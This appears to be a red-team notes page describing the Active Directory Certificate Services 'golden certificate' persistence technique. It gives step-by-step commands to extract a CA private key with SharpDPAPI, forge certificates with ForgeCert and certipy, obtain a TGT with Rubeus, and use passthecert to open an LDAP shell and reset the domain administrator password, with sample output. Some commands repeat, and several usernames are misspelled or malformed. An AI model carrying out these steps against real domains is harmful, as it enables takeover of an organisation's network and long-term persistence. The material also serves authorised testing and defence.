Golden Certificates

In larger organisations, the AD CS roles are installed on separate servers and not on the domain controllers themselves. Often times, they are also not treated with the same sensitivity as DCs. So, whereas only EAs and DAs can access/manage DCs, "lower level" roles such as server admins can access the CAs. Although this can be seen a privilege escalation, it's just as useful as a domain persistence method.

Gaining local admin access to a CA allows an attacker to extract the CA private key, which can be used to sign a forged certificate (think of this like the krbtgt hash being able to sign a forged TGT). The default validity period for a CA private key is 5 years, but this can be set to any value during setup, sometimes as high as 10+ years.

Once on a CA as System, SharpDPAPI can extract the private keys.

SharpDPAPI.exe certificates /machine

Save the private key and certificate to a .pem file and convert it to a .pfx with openssl. Then, build the forged certificate with ForgeCert.

ForgeCert.exe --CaCertPath .\Desktop\sub-ca.pfx --CaCertPassword pass123 --Subject "CN=User" --SubjectAltName "adminsitrator@domain.com" --NewCertPath .\Desktop\fake.pfx --NewCertPassword pass123

...

Done. Saved forged certificate to .\Desktop\fake.pfx with the password 'pass123'

Even though you can specify any SubjectAltName, the user does need to be present in AD. We can now use Rubeus to request a legitimate TGT with this forged certificate.

Rubeus.exe asktgt /user:adminstrator /domain:domain.com /enctype:aes256 /certificate:MIACAQ ...snip... IEAAAA /password:pass123 /nowrap

We're not limited to forging user certificates; we can do the same for machines. Combine this with the S4U2self trick to gain access to any machine or service in the domain.

We can do the same thing from Linux. Once we are admin on the enrollment server (or CA) can simply request a golden certificate and get access to the DC as domain admin using passthecert

certipy ca -backup -ca "domain-CA" -username administrator -password 'SomethingSecure123!' -dc-ip 10.10.10.10
certipy forge -ca-pfx domain-CA.pfx -upn administrator@domain.com -subject 'CN=Administrator,CN=Users,DC=DOMAIN,DC=COM'
certipy ca -backup -ca "domain-CA" -username administrator@ca@domain.com -password 'SomethingSecure123!' -dc-ip 10.10.10.10
certipy forge -ca-pfx domain-CA.pfx -upn administrator@domain.com -subject 'CN=Administrator,CN=Users,DC=DOMAIN,DC=COM'
certipy cert -pfx administrator_forged.pfx -nokey -out admin.crt
certipy cert -pfx administrator_forged.pfx -nocert -out admin.key
python3 passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain domain.com -dc-ip 10.10.10.10

With this LDAP shell we can change the password of the administrator user and WinRM into the DC

# change_password administrator SomethingSecure123!
Got User DN: CN=Administrator,CN=Users,DC=domain,DC=com
Attempting to set new password of: SomethingSecure123!
Password changed successfully!

Last updated